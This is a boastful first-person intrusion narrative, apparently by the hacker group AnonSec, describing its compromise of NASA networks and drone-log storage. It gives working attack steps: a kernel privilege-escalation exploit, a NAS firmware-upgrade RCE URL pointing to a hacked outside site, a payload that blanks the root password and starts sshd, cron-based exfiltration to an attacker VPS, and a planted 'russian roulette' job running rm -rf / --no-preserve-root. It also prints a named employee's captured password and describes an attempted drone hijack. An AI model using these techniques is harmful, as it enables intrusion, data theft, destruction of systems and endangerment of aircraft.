Basically so far we breached and even rooted many vulnerable NASA systems but what we found next was the most intriguing. From this point in their internal network we could see ALOT more systems and networked devices popping up in scans that were not previously visible before from other machines and external scans.(This means local boxes on their intra network aka ip ranges 192.168.-.-, 172.16.-.-, 10.0.-.-) Scanning from our most recently rooted Ubuntu system, we fingerprinted yet another identical Ubuntu system, that(praise Cthulu) was vulnerable to CVE-2014-0038 also. It was too easy that most of us thought these might be honeypots lol Luckily for us our tcpdump sniffed some ftp login credentials to the other box that was reused for SSH also(shouts to Jensen, Eric J for continued massive OpSec failure looooooooool).

<http://prntscr.com/9jr371>

^^^Does this look like the face of someone who practices good OpSec? i think not hahahhaha

Once we had user access to the jensen@dryden78 box via SSH it was as simple as wget/src'ing the same CVE-2014-0038 script to the box, compiling and executing(didnt even need to edit the kernel pointers because it was the same exact OS). However this was one of the machines that could only be accessed from within their local NASA network, so we had a couple options of bypassing this for maintained access. Either use one of the squid proxies we setup previously or do some port forwarding magic with socat. If you try to directly access the gateway of this NASA server, you'll be greeted with a message:

<http://prntscr.com/9hdrtm>

Being the overachiever that Shimo7even is, he did both. Setup a squid proxy on a rooted Ubuntu box as well

as configuring socat to portforward SSH connections. Once we rooted this outdated Ubuntu system, we left tcpdump running in the background like usual to sniff plaintext http/ftp/smtp/imap/pop3 credentials. Even setup some SSLstripping, DNSspooof w/ another tcpdump because we noticed some https traffic(port443).

After scanning the network (yet again) from our newest vantage point, we could see several networked storage devices(NAS) with pretty crazy obvious names DRONE\_BACKUPS, DRONE\_BACKUPS2, DRONE\_BACKUPS3. These turned out to be some 2TB WD My Book World Edition's to be exact.

[WE KNEW INSTANTLY WE HAD TO HAVE ACCESS TO THESE STORAGE DEVICES ASAP]

However after running a quick portscan on the NAS devices, we noticed only ports 21 & 80 were active(no SSH wtf). Tried both default login combinations on 21&80 but they had been changed... surprisingly. Did some research and found a vulnerability in the firmware update process that allows you to redirect the perl script towards a malicious url and execute arbitrary commands, resulting in an RCE as root 0day(similar to CVE-2013-2251).

(Example) spawn an sshd session by remotely generating ssh keys for root w/o passwd

```
> http://192.168.10.47/auth/firmware_upgrade.pl?fwserver=http://ladyluckclub.co.uk/firmware.php
```

^^random hacked site we used

(Example) starts the sshd process after each power-up/reboot

```
> nano /etc/inittab
```

```
::sysinit:/usr/sbin/sshd // add this line
```

Reboot the device and SSH should autostart everytime

```
+-----+
```

```
| firmware.php |
```

```
+-----+
```

```
> wget http://ladyluckclub.co.uk/firmware.php -O firmware.php && cat firmware.php
```

<?

```
if ($_GET[type] != "" && $_GET[fw] != "") {  
    echo "<a href=\"http://anonsec.net/NAS_PWN.sh\">firmware</a>";  
    exit;  
}
```

?>

+-----+

    if [ ! -s $RSA_KEY ]; then
        echo -n "Generating SSH2 RSA host key: "
        if $KEYGEN -q -t rsa -f $RSA_KEY -C " -N " >&/dev/null; then
            chmod 600 $RSA_KEY
            chmod 644 $RSA_KEY.pub
            echo
        else
            echo
            exit 1
        fi
    fi
}
```

```
do_rsa1_keygen
```

```
do_rsa_keygen
```

```
/usr/bin/passwd -d root
```

```
/usr/sbin/sshd &
```

```
rm -f /tmp/active_upgrade
```

```
exit 0
```

We repeated this local root via RCE & autostart sshd process on all three NAS devices. However there was some weird error with the exploit that didnt allow us to login to SSH directly as root, so we would have to use a normal user to login and su without a root password.(strange i know) So even though we had basically found a 0day in the WD My Book's to remotely auto-enable sshd as root without a passwd, we still couldnt access the devices, we still needed access to the web portal.

After about one week we checked some of the .csv logs and our SSLstriping+DNSspooof had caught some https logins to some security cams but not the NAS devices. These cams had a massive vuln -> AXIS Media Control Active-X File Corruption.

PDF of Armstrong Flight Research Center Axis Ip Camera Upgrade:

Randy Ross

Axis IP Certified

Nasa Multimedia and Security Systems

Johnson Space Center

randy.l.ross@nasa.gov

One of our associates completely pwned this camera network by ratting Randy Ross but we'll save that story for a rainy day, getting a little side tracked from the drones. Anyways, after another 2 1/2 weeks we found our golden fucking ticket to the chocolate factory, an HTTP login to one of the NAS devices. ^\_^ Our homeboi

Eric Jensen saved the day (once again) by getting caught by yet another tcpdump, andddd you know our boi Jensen always rocking some ub3r sekret creds..

(seriously ty Jensen for basically handing us ur creds, again.. do you even htop bro?? lol)

```
> cat dump03.csv
```

```
&submit_hidden=submit_hidden&user_name=jensen&user_password=jensen123&submit>Login
```

```
09:43:54.621748 IP 192.168.3.17.http > ubuntu.local.54801: Flags [.] , ack 6946, win 65535, length 0
```

```
jensen:jensen123 // wow, such password, many secure XD XD
```

And this single HTTP login worked on ALL FUCKING 3 NAS DEVICES!!!! This allowed us to login to the web portals and create another user which we could then login to SSH with after and su into root without passwd.

(could have just logged in with jensen's creds to SSH but we decided to make our own users incase his login changed)

We finally had FULL ROOT ACCESS to all 3 NAS devices; DRONE\_BACKUPS, DRONE\_BACKUPS2 and DRONE\_BACKUPS3.

^^^^

then we repeated this process on the other two NAS devices, 192.168.3.18 && 192.168.3.19

There were many different ways to move these files out of NASA's network and into our own servers, so we decided to get creative. At first we tried to code some crawlers to scrape all the video and data logs, but we eventually decided to go with another method. Since these storage devices werent even supposed to have SSH installed, massive amounts of port 22 traffic would be suspicious to say the least. So we setup a cronjob on all 3 devices to make a copy and rename all the drone logs as they were uploaded to "index%04d.html", then auto rm after 24 hours. That way we could setup a cronjob on dryden78 to wget the files over port 80 every 24hrs, instead of src'ing over port 22. Not sure if it actually helped the traffic stay incognito or actually made it stand out more, it was a highdea for sure. Only problem was the WD NAS devices white light version didnt have cron, so we had to install it(shouts to martybugs).

```
root@dryden78:~# mkdir .backups && wget --no-check-certificate https://ghostbin.com/-REDACTED-REDACTED- -O  
/.backups/rsync.sh && chmod +x /.backups/rsync.sh
```

```
root@dryden78:~# crontab -e
```

```
0 * * * * cd /.backups/ && ./rsync.sh
```

Now we had all 3 NAS devices automatically making copies of the logs as they are uploaded from the drones and renaming

them to look like semi ordinary index files. Also a cronjob on dryden78 to wget all renamed drone logs every 24hrs before

auto rm. We then setup another cronjob to rsync all the drone logs on dryden78 to 27workstation239 over SSH. Then we setup

yet another cronjob+rsync combo on 27workstation239 to a VPS outside NASA network that AnonSec controls... rsync-chain ftw ^\_^

3 NAS devices --> dryden78 --> 27workstation239 --> offshore AnonSec VPS --> E V E R Y W H E R E

```
+-----+
| WD | -----\
| NAS |      \

+-----+

```

Recreated flight paths with IWG1 files and Mapped over Google Earth:

<http://prntscr.com/9olx1s>

<http://prntscr.com/9rknp1>

<http://prntscr.com/9rknw7>

<http://prntscr.com/9rkntq>

<http://prntscr.com/9rko0e>

Also imported multiple flights and overlaid onto a single image to compare paths:

<http://prntscr.com/9rko3k>

Hats off to @Sh1n0d4 for this idea...

(24:47) Sh1n0d4 : time for some R&R muahaha

(24:48) Bashtien : rest & relaxation?

(24:48) Sh1n0d4 : no.. russian roulette ;)

Finally for fun, we set two cronjobs to run nyan.sh & guardian.pl annually on new years on every system we rooted. Guardian.pl is SEC(Simple Event Correlator) to monitor log files via regex for nyancat.sh process being killed and will exec shell script Failsafe.sh. The script Failsafe.sh will play 50/50 Russian Roulette with their servers LOL

```
./nyan.sh
```

```
./guardian.pl -conf=C2.1.01.conf -input=- // sec.pl
```

```
./failsafe.sh // russian roulette: either rm -rf / --no-preserve-root or edit .bashrc
```

```
root@dryden78:~# echo "git clone https://github.com/klange/nyancat && cd nyancat && make && cd src && ./nyancat" >> nyan.sh
```

```
root@dryden78:~# ./nyan.sh
```

Your system has been nyaned for %0.0f seconds!

```
root@dryden78:~# crontab -e
```

```
0 0 1 1 * cd /bin && ./nyan.sh
```

```
0 0 1 1 * cd /bin && ./guardian.pl
```

```

EOC

After countless months of successfully retrieving NASA Drone logs automatically, we noticed some weird traffic. Everytime the GlobalHawk's would return to base for maintenance and uploading data/recordings... a single .gpx file was POST/pushed sometimes to them. Which meant the GlobalHawk's didnt only receive live directions from pilots via SatComs, but also had a pre-planned route option that could be uploaded to it before takeoff(probably for automated flights and as a backup if pilots SatCom connection fails)... and over FUCKING WLAN!!! So we decided to do something much more sinister... we created our own .gpx file and setup a MitM to replace their file with our own. Several members were in disagreement on this because if it worked, we would be labelled terrorists for possibly crashing a \$222.7 million US Drone... but we continued anyways lol

Pilot Proficiency Test:  
<http://prntscr.com/9q9ucm>

Finally after months with no response from Wikileaks or The Guardian, along with us acquiring an additional +150gbs... we

decided we had enough data and wanted to try MitM upload our own flightpath to the GlobalHawk. This recreated flight is from

our attempt to crash the GlobalHawk into the Pacific Ocean but seemed to have been taken off of the malicious pre-planned route

and was controlled via SatCom by a pilot once GroundControl realized:

<http://prntscr.com/9q9v51>

```
+-----+
|           So to answer the single most asked question,           |
|                                                                 |
|                               YES.                               |
| We had semi-partial control of a NASA drone during one flight |
+-----+
```

Whether it was the high amount of traffic sending drone logs across their compromised network or the attempted crashing

of a GlowbalHawk that caused them to FINALLY inspect their networks, we dont know. But it went down for a while soon after:

<http://prntscr.com/9q9wc2>

When they came back up several days later, we had completely lost access. Not only were we no longer receiving rsync backups

over SSH. They also had removed ALL our .php & .aspx backdoors and changed pretty much every single login credential, from ftp

to http.(to be fair the rsync chain told them which servers to focus their inspection).

Όταν η ειρηνική επανάσταση γίνεται αδύνατη η βία γίνεται αναγκαία

```
+=====+  
|~~~~~|  
|~~~~~NEXT CHAPTER~~~~~|  
|~~~~~|  
+=====+
```

> 0x07 - Epilogue

People might find this lack of security surprising but its pretty standard from our experience.

Once you get past the main lines of defence, its pretty much smooth sailing propagating through a network as long as you can maintain access. Too many corporations and governments focus 99% on preventing intruders instead of having viable solutions once there is a security breach, which is guaranteed to happen.

We would also like to address misconceptions about OpNasaDrones from previous articles. When a member whos main language is Japanese talks to a reporter who's main language is Punjabi, there is bound to be some miscommunication.

Especially when he misunderstood what the .zip we gave him was. It was more or less 90% public information about Chemtrail/Geoengineering/CloudSeeding/WeatherModification for him to educate himself better on the topic, you know

since most people think its not real. Only a few files, screenshots and videos were actually part of the leak.

Also the part in the OpNasaDrones about Aliens was misinterpretation using Google Translate. What d3f4ult meant to say was while doing background research into NASA coverups he found out about supposed accounts of UFOs and aliens working with the government via Gary McKinnons hack. We didnt find anything related to aliens ourselves

as the video made it sounds like, sorry :(

Also people tend to forget that we have real lives outside of hacking. Which include working, paying bills, taking care of family/kids, travelling, etc... its not like AnonSec pays a monthly wage lol Since Wikileaks and The Guardian never responded to our initial leaks, we had to delay releasing. During this delay we collected an additional +150gb of Drone logs, totalling +250gbs. To view the video logs you will need to change the files format, however for the data logs you can just open in any text/hex editor since its only text. As for the video logs, go to their directory via the terminal and run the following command:

```
find . -name '*.*' | gawk 'BEGIN{ a=1 }{ printf "mv \"%s\" %04d.mp4\n", $0, a++ }' | bash
```

\!/make sure you are in the correct directory or it will transfer & turn ALL files into .mp4 in sub directories\!/

```
